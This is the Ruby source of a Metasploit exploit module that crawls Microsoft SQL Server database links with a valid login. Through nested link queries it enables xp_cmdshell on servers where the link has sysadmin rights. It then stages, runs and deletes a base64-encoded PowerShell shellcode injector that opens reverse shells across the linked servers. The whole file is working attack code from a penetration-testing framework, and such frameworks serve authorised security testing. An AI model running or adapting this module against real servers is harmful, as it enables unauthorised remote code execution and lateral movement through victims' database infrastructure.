##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::MSSQL
  include Msf::Auxiliary::Report
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft SQL Server Database Link Crawling Command Execution',
        'Description' => %q{
          This module can be used to crawl MS SQL Server database links and deploy
          Metasploit payloads through links configured with sysadmin privileges using a
          valid SQL Server Login.

          If you are attempting to obtain multiple reverse shells using this module we
          recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
          up a exploit/multi/handler to run in the background as a job to support multiple incoming
          shells.

          If you are interested in deploying payloads to specific servers this module also
          supports that functionality via the "DEPLOYLIST" option.

          Currently, the module is capable of delivering payloads to both 32bit and 64bit
          Windows systems via powershell memory injection methods based on Matthew Graeber's
          work. As a result, the target server must have powershell installed. By default,
          all of the crawl information is saved to a CSV formatted log file and MSF loot so
          that the tool can also be used for auditing without deploying payloads.
        },
        'Author' => [
          'Antti Rantasaari <antti.rantasaari[at]netspi.com>',
          'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
        ],
        'Platform' => [ 'win' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],
          ['URL', 'http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
          ['URL', 'http://www.exploit-monday.com/2011_10_16_archive.html']
        ],
        'DisclosureDate' => '2000-01-01',
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'CmdStagerFlavor' => 'vbs',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', false]),
        OptString.new('DEPLOYLIST', [false, 'Comma separated list of systems to deploy to']),
        OptString.new('PASSWORD', [true, 'The password for the specified username'])
      ]
    )

    register_advanced_options(
      [
        OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"])
      ]
    )
  end

  def exploit
    # Display start time
    time1 = Time.new
    print_status("-------------------------------------------------")
    print_status("Start time : #{time1.inspect}")
    print_status("-------------------------------------------------")

    # Check if credentials are correct
    print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")

    if !mssql_login_datastore
      print_error("Invalid SQL Server credentials")
      print_status("-------------------------------------------------")
      return
    end

    # Define master array to keep track of enumerated database information
    masterList = Array.new
    masterList[0] = Hash.new            # Define new hash
    masterList[0]["name"] = ""          # Name of the current database server
    masterList[0]["db_link"] = ""       # Name of the linked database server
    masterList[0]["db_user"] = ""       # User configured on the database server link
    masterList[0]["db_sysadmin"] = ""   # Specifies if  the database user configured for the link has sysadmin privileges
    masterList[0]["db_version"] = ""    # Database version of the linked database server
    masterList[0]["db_os"] = ""         # OS of the linked database server
    masterList[0]["path"] = [[]]        # Link path used during crawl - all possible link paths stored
    masterList[0]["done"] = 0           # Used to determine if linked need to be crawled

    shelled = Array.new                 # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system

    # Setup query for gathering information from database servers
    versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\
    (ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\
    (char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\
    CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \
    -charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \
    master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount"

    # Create loot table to store configuration information from crawled database server links
    linked_server_table = Rex::Text::Table.new(
      'Header' => 'Linked Server Table',
      'Indent' => 1,
      'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os', 'link_state']
    )
    save_loot = ""

    # Start crawling through linked database servers
    while masterList.any? { |f| f["done"] == 0 }
      # Find the first DB server that has not been crawled (not marked as done)
      server = masterList.detect { |f| f["done"] == 0 }

      # Get configuration information from the database server
      sql = query_builder(server["path"].first, "", 0, versionQuery)
      result = mssql_query(sql, false) if mssql_login_datastore
      parse_results = result[:rows]
      parse_results.each { |s|
        server["name"] = s[0]
        server["db_user"] = s[1]
        server["db_sysadmin"] = s[5]
        server["db_version"] = s[3]
        server["db_os"] = s[4]
        server["numlinks"] = s[6]
      }
      if masterList.length == 1
        print_good("Successfully connected to #{server["name"]}")
        if datastore['VERBOSE']
          show_configs(server["name"], parse_results, true)
        elsif server["db_sysadmin"] == 1
          print_good("Sysadmin on #{server["name"]}")
        end
      end
      if server["db_sysadmin"] == 1
        enable_xp_cmdshell(server["path"].first, server["name"], shelled)
      end

      # If links were found, determine if they can be connected to and add to crawl list
      if (server["numlinks"] > 0)
        # Enable loot
        save_loot = "yes"

        # Select a list of the linked database servers that exist on the current database server
        print_status("")
        print_status("-------------------------------------------------")
        print_status("Crawling links on #{server["name"]}...")
        # Display number db server links
        print_status("Links found: #{server["numlinks"]}")
        print_status("-------------------------------------------------")
        execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'"
        sql = query_builder(server["path"].first, "", 0, execute)
        result = mssql_query(sql, false) if mssql_login_datastore

        result[:rows].each { |name|
          name.each { |name|
            # Check if link works and if sysadmin permissions - temp array to save orig server[path]
            temppath = Array.new
            temppath = server["path"].first.dup
            temppath << name

            # Get configuration information from the linked server
            sql = query_builder(temppath, "", 0, versionQuery)
            result = mssql_query(sql, false) if mssql_login_datastore

            # Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists
            if result[:errors].empty? and result[:rows] != nil then
              # Assign db query results to variables for hash
              parse_results = result[:rows]

              # Add link server information to loot
              link_status = 'up'
              write_to_report(name, server, parse_results, linked_server_table, link_status)

              # Display link server information in verbose mode
              if datastore['VERBOSE']
                show_configs(name, parse_results)
                print_status("  o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
              else
                if parse_results[0][5] == 1
                  print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)")
                else
                  print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
                end
              end

              # Add link to masterlist hash
              unless masterList.any? { |f| f["name"] == name }
                masterList << add_host(name, server["path"].first, parse_results)
              else
                (0..masterList.length - 1).each do |x|
                  if masterList[x]["name"] == name
                    masterList[x]["path"] << server["path"].first.dup
                    masterList[x]["path"].last << name
                    unless shelled.include?(name)
                      if parse_results[0][2] == 1
                        enable_xp_cmdshell(masterList[x]["path"].last.dup, name, shelled)
                      end
                    end
                  else
                    break
                  end
                end
              end
            else
              # Add to report
              linked_server_table << [server["name"], server["db_version"], server["db_os"], name, 'NA', 'NA', 'NA', 'NA', 'Connection Failed']

              # Display status to user
              if datastore['VERBOSE']
                print_status(" ")
                print_error("Linked Server: #{name} ")
                print_error("  o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
                print_status("    Failure could be due to:")
                print_status("    - A dead server")
                print_status("    - Bad credentials")
                print_status("    - Nested open queries through SQL 2000")
              else
                print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
              end
            end
          }
        }
      end
      # Set server to "crawled"
      server["done"] = 1
    end

    print_status("-------------------------------------------------")

    # Setup table for loot
    this_service = nil
    if framework.db and framework.db.active
      this_service = report_service(
        :host => mssql_client.peerhost,
        :port => mssql_client.peerport,
        :name => 'mssql',
        :proto => 'tcp'
      )
    end

    # Display end time
    time1 = Time.new
    print_status("End time : #{time1.inspect}")
    print_status("-------------------------------------------------")

    # Write log to loot / file
    if (save_loot == "yes")
      filename = "#{mssql_client.peerhost}-#{mssql_client.peerport}_linked_servers.csv"
      path = store_loot("crawled_links", "text/plain", mssql_client.peerhost, linked_server_table.to_csv, filename, "Linked servers", this_service)
      print_good("Results have been saved to: #{path}")
    end
  end

  # ---------------------------------------------------------------------
  # Method that builds nested openquery statements using during crawling
  # ---------------------------------------------------------------------
  def query_builder(path, sql, ticks, execute)
    # Temp used to maintain the original masterList[x]["path"]
    temp = Array.new
    path.each { |i| temp << i }

    # Actual query - defined when the function originally called - ticks multiplied
    if path.length == 0
      return execute.gsub("'", "'" * 2**ticks)

    # openquery generator
    else
      sql = "select * from openquery(\"" + temp.shift + "\"," + "'" * 2**ticks + query_builder(temp, sql, ticks + 1, execute) + "'" * 2**ticks + ")"
      return sql
    end
  end

  # ---------------------------------------------------------------------
  # Method that builds nested openquery statements using during crawling
  # ---------------------------------------------------------------------
  def query_builder_rpc(path, sql, ticks, execute)
    # Temp used to maintain the original masterList[x]["path"]
    temp = Array.new
    path.each { |i| temp << i }

    # Actual query - defined when the function originally called - ticks multiplied
    if path.length == 0
      return execute.gsub("'", "'" * 2**ticks)

    # Openquery generator
    else
      exec_at = temp.shift
      quotes = "'" * 2**ticks
      sql = "exec(#{quotes}#{query_builder_rpc(temp, sql, ticks + 1, execute)}#{quotes}) at [#{exec_at}]"
      return sql
    end
  end

  # ---------------------------------------------------------------------
  # Method for adding new linked database servers to the crawl list
  # ---------------------------------------------------------------------
  def add_host(name, path, parse_results)
    # Used to add new servers to masterList
    server = Hash.new
    server["name"] = name
    temppath = Array.new
    path.each { |i| temppath << i }
    server["path"] = [temppath]
    server["path"].first << name
    server["done"] = 0
    parse_results.each { |stuff|
      server["db_user"] = stuff.at(1)
      server["db_sysadmin"] = stuff.at(2)
      server["db_version"] = stuff.at(3)
      server["db_os"] = stuff.at(4)
      server["numlinks"] = stuff.at(6)
    }
    return server
  end

  # ---------------------------------------------------------------------
  # Method to display configuration information
  # ---------------------------------------------------------------------
  def show_configs(i, parse_results, entry = false)
    print_status(" ")
    parse_results.each { |stuff|
      # Translate syadmin code
      status = stuff.at(5)
      if status == 1 then
        dbpriv = "sysadmin"
      else
        dbpriv = "user"
      end

      # Display database link information
      if entry == false
        print_status("Linked Server: #{i}")
        print_status("  o Link user: #{stuff.at(1)}")
        print_status("  o Link privs: #{dbpriv}")
        print_status("  o Link version: #{stuff.at(3)}")
        print_status("  o Link OS: #{stuff.at(4).strip}")
        print_status("  o Links on server: #{stuff.at(6)}")
      else
        print_status("Server: #{i}")
        print_status("  o Server user: #{stuff.at(1)}")
        print_status("  o Server privs: #{dbpriv}")
        print_status("  o Server version: #{stuff.at(3)}")
        print_status("  o Server OS: #{stuff.at(4).strip}")
        print_status("  o Server on server: #{stuff.at(6)}")
      end
    }
  end

  # ---------------------------------------------------------------------
  # Method for generating the report and loot
  # ---------------------------------------------------------------------
  def write_to_report(i, server, parse_results, linked_server_table, link_status)
    parse_results.each { |stuff|
      # Parse server information
      db_link_user = stuff.at(1)
      db_link_sysadmin = stuff.at(2)
      db_link_version = stuff.at(3)
      db_link_os = stuff.at(4)

      # Add link server to the reporting array and set link_status to 'up'
      linked_server_table << [server["name"], server["db_version"], server["db_os"], i, db_link_user, db_link_sysadmin, db_link_version, db_link_os, link_status]

      return linked_server_table
    }
  end

  # ---------------------------------------------------------------------
  # Method for enabling xp_cmdshell
  # ---------------------------------------------------------------------
  def enable_xp_cmdshell(path, name, shelled)
    # Enables "show advanced options" and xp_cmdshell if needed and possible
    # They cannot be enabled in user transactions (i.e. via openquery)
    # Only enabled if RPC_Out is enabled for linked server
    # All changes are reverted after payload delivery and execution

    # Check if "show advanced options" is enabled
    execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'show advanced options'"
    sql = query_builder(path, "", 0, execute)
    result = mssql_query(sql, false) if mssql_login_datastore
    saoOrig = result[:rows].pop.pop

    # Check if "xp_cmdshell" is enabled
    execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'xp_cmdshell'"
    sql = query_builder(path, "", 0, execute)
    result = mssql_query(sql, false) if mssql_login_datastore
    xpcmdOrig = result[:rows].pop.pop

    # Try blindly to enable "xp_cmdshell" on the linked server
    # Note:
    # This only works if rpcout is enabled for all links in the link path.
    # If that is not the case it fails cleanly.
    if xpcmdOrig == 0
      if saoOrig == 0
        # Enabling show advanced options and xp_cmdshell
        execute = "sp_configure 'show advanced options',1;reconfigure"
        sql = query_builder_rpc(path, "", 0, execute)
        result = mssql_query(sql, false) if mssql_login_datastore
      end

      # Enabling xp_cmdshell
      print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")
      execute = "sp_configure 'xp_cmdshell',1;reconfigure"
      sql = query_builder_rpc(path, "", 0, execute)
      result = mssql_query(sql, false) if mssql_login_datastore
    end

    # Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.)
    execute = "select cast(value_in_use as int) FROM  sys.configurations WHERE  name = 'xp_cmdshell'"
    sql = query_builder(path, "", 0, execute)
    result = mssql_query(sql, false) if mssql_login_datastore
    xpcmdNow = result[:rows].pop.pop

    if xpcmdNow == 1 or xpcmdOrig == 1
      print_status("\t - Enabled xp_cmdshell on " + name) if xpcmdOrig == 0
      if datastore['DEPLOY']
        print_status("Ready to deploy a payload #{name}")
        if datastore['DEPLOYLIST'] == ""
          datastore['DEPLOYLIST'] = nil
        end
        if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
          print_status("\t - Checking if #{name} is on the deploy list...")
        end
        if datastore['DEPLOYLIST'] != nil
          deploylist = datastore['DEPLOYLIST'].upcase.split(',')
        end
        if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
          if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
            print_status("\t - #{name} is on the deploy list.")
          end
          unless shelled.include?(name)
            powershell_upload_exec(path)
            shelled << name
          else
            print_status("Payload already deployed on #{name}")
          end
        elsif !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
          print_status("\t - #{name} is not on the deploy list")
        end
      end
    else
      print_error("\t - Unable to enable xp_cmdshell on " + name)
    end

    # Revert soa and xp_cmdshell to original state
    if xpcmdOrig == 0 and xpcmdNow == 1
      print_status("\t - Disabling xp_cmdshell on " + name)
      execute = "sp_configure 'xp_cmdshell',0;reconfigure"
      sql = query_builder_rpc(path, "", 0, execute)
      result = mssql_query(sql, false) if mssql_login_datastore
    end
    if saoOrig == 0 and xpcmdNow == 1
      execute = "sp_configure 'show advanced options',0;reconfigure"
      sql = query_builder_rpc(path, "", 0, execute)
      result = mssql_query(sql, false) if mssql_login_datastore
    end
  end

  # ----------------------------------------------------------------------
  # Method that delivers shellcode payload via powershell thread injection
  # ----------------------------------------------------------------------
  def powershell_upload_exec(path)
    # Create powershell script that will inject shell code from the selected payload
    myscript = "$code = @\"
[DllImport(\"kernel32.dll\")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(\"kernel32.dll\")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport(\"msvcrt.dll\")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
\"@
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\', ',0').sub(',', '')}
$size = 0x1000
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
$winFunc::CreateThread(0,0,$x,0,0,0)"

    # Unicode encode powershell script
    mytext_uni = Rex::Text.to_unicode(myscript)

    # Base64 encode unicode
    mytext_64 = Rex::Text.encode_base64(mytext_uni)

    # Generate random file names
    rand_filename = rand_text_alpha(8)
    var_duplicates = rand_text_alpha(8)

    # Write base64 encoded powershell payload to temp file
    # This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
    # Also, line number tracking was added so that duplication lines caused by nested linked
    # queries could be found and removed.
    print_status("Deploying payload...")
    linenum = 0
    mytext_64.scan(/.{1,2500}/).each { |part|
      execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
      sql = query_builder(path, "", 0, execute)
      result = mssql_query(sql, false) if mssql_login_datastore
      linenum = linenum + 1
    }

    # Remove duplicate lines from temp file and write to new file
    execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
    sql = query_builder(path, "", 0, execute)
    result = mssql_query(sql, false) if mssql_login_datastore

    # Remove tracking tags from lines
    execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
    sql = query_builder(path, "", 0, execute)
    result = mssql_query(sql, false) if mssql_login_datastore

    # Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors
    # If running on 64bit system, 32bit powershell called from syswow64
    powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\
    '*64*'){$psbits=\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\
    -noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
    powershell_uni = Rex::Text.to_unicode(powershell_cmd)
    powershell_64 = Rex::Text.encode_base64(powershell_uni)

    # Setup query
    execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"
    sql = query_builder(path, "", 0, execute)

    # Execute the playload
    print_status("Executing payload...")
    result = mssql_query(sql, false) if mssql_login_datastore
    # Remove payload data from the target server
    execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
    sql = query_builder(path, "", 0, execute)
    result = mssql_query(sql, false)
  end
end
